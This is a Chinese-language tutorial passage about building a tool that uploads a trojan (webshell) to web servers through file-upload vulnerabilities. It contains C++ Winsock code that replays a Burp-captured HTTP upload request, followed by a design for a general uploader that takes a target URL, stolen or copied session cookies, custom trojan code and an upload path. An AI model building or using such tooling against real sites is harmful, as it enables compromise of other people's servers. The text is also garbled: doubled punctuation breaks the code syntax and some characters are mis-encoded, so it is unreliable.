上傳木馬的模塊可以通過直接發(fā)包達到上傳的效果,,實現起來比較簡單,,代碼如下:
void CuploadmumaDlg::OnBnClickedButton1()
{
// TODO: 在此添加控件通知處理程序代碼
WSAData wsa = { 0 };
// 初始化
WSAStartup(MAKEWORD(2, 2),, &wsa),;
// 獲取 IP 地址
DWORD dwIPAddr = 0;
m_IpAddr.GetAddress(dwIPAddr),;
// 獲取端口號
WORD dwPort = 0;
dwPort = GetDlgItemInt(IDC_PORT),;
// 創(chuàng)建 SOCKET
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP),;
sockaddr_in sockaddr = { 0 };
sockaddr.sin_family = AF_INET;
sockaddr.sin_addr.S_un.S_addr = htonl(dwIPAddr),;
sockaddr.sin_port = htons(dwPort),;
// 連接服務器
int nRet = connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR)),;
// 獲取從 BURP 截取的 HTTP 的 request 包
char szText[2048] = { 0 };
GetDlgItemText(IDC_TEXT, szText, 2048);
// 發(fā)送包
nRet = send(s, szText, lstrlen(szText), 0),;
closesocket(s),;
WSACleanup();
}
代碼的流程比較簡單,,主要就是完成了與Web服務器的連接,,然后發(fā)送通過Burp截取的數據內容,程序界面如圖1所示,。
圖1 發(fā)送木馬數據包上傳木馬
該木馬發(fā)送程序比較簡陋,,只是簡單地提交了對Web服務器請求的數據包。開發(fā)一個較為通用的木馬上傳工具,,就不能這么偷懶了,。首先,需要提取出存在上傳漏洞的地址,,因為每個系統存在上傳漏洞的地址是不相同的,,因此漏洞的地址必須能夠接收用戶的輸入。接著提取HTTP請求頭部中的“Cookie”部分,,因為上傳木馬時可能需要登錄系統以后才能進行上傳,,但是為什么發(fā)包的時候可以,因為數據包中有COOKIE,,因此必須要能讓用戶輸入“cookie”,,因為一般的上傳漏洞可能是論壇、博客等系統,,因此用戶可以自行登錄后,,將cookie復制出來并粘貼到程序中。然后還有木馬的內容需要用戶自定義,,那么程序界面上也需要留下輸入木馬的文本框,,可以直接輸入木馬的代碼,也可以直接讓用戶輸入木馬的目錄,,然后讓程序從文件中把木馬代碼讀出,。有的上傳漏洞能夠讓用戶去控制上傳木馬后所在的目錄,那么還要給用戶一個可以設置上傳位置的輸入框,。